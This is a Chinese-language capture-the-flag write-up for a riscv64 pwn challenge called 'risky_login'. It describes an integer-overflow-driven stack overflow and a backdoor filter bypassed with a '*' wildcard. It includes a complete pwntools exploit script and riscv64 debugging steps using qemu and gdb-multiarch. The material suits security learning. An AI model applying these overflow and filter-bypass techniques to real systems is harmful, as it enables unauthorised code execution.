risky_login
题目本身并没有什么难度,由于IDA对riscv64架构并不支持反编译查看伪代码,所以本题使用ghidra进行逆向
在FUN_12345786函数中存在明显的栈溢出,但是需要绕过
这里有一个很明显的类型混淆,使用gpt搜索发现byte的范围是0-0xff,而size要比这大很多,所以有个比较明显的整数溢出,当param_1的长度大于等于0x100且小于0x108时可以满足这个条件。
并且本题存在后门函数
大概可以猜测出本题本题溢出长度就为0x100,然后就是绕过后门函数当中的过滤了,这里使用*自动补全就可以实现了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * from ctypes import * from struct import pack banary = "./pwn" elf = ELF(banary) libc = ELF("./libc.so.6")
ip = 'tcp.cloud.dasctf.com' port = 28250 local = 1 if local:
io = process(["qemu-riscv64-static","-L","/usr/riscv64-linux-gnu/","-g","1234",banary]) else: io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def dbg(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(6),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive()
backdoor=0x123456ee
ru('Input ur name:') payload=b'A'*8 s(payload)
ru("Input ur words") payload=b'A'.ljust(0x100,b'A')+p64(backdoor) s(payload)
sleep(0.5) sl(b'cat fl*')
ia()
|
调试技巧
其实本题并不需要调试,只需要把题目的逻辑大概都理清楚,就可以将exp写出来了。但是为了防止以后再遇到riscv64的题目,还是需要学习一下。
听z1r0师傅说pwndbg是不支持riscv64架构的调试,需要去修改源码,并且修改地方比较多(太菜了,选择放弃这种方法)
然后刚好b站上又有国资师傅讲的异构课,重新听了一遍记录下riscv64的调试过程
首先是运行riscv64程序的命令
1
| qemu-riscv64-static -L /usr/riscv64-linux-gnu/ ./pwn
|
调试命令:
1
| qemu-riscv64-static -L /usr/riscv64-linux-gnu/ -g 1234 ./pwn
|
然后使用gdb-multiarch连接端口进行调试
1 2 3
| gdb-multiarch pwn set architecture riscv:rv64 target remote 0.0.0.0:1234
|
可以看到pwndbg报错,本应该出现的信息都没有弹出来,这里只能使用gdb本身的几个命令来查看栈上的信息以及程序运行所在的地址
首先是正常下断点,将断点下在strcpy的后面
接着c过去,可以看到什么信息都没有弹出来
这里可以使用x/20i $pc,来查看程序运行到哪了
也可以用i r来查看所有寄存器的状态
使用x/40gx $sp查看此时栈上的状态
这里查看汇编,并且调试验证也可以得出本题会将sp+280处的数据给ra作为ret的返回值,并且输入点在$sp+0x18的位置处,所以可以得出溢出长度为0x100的结论。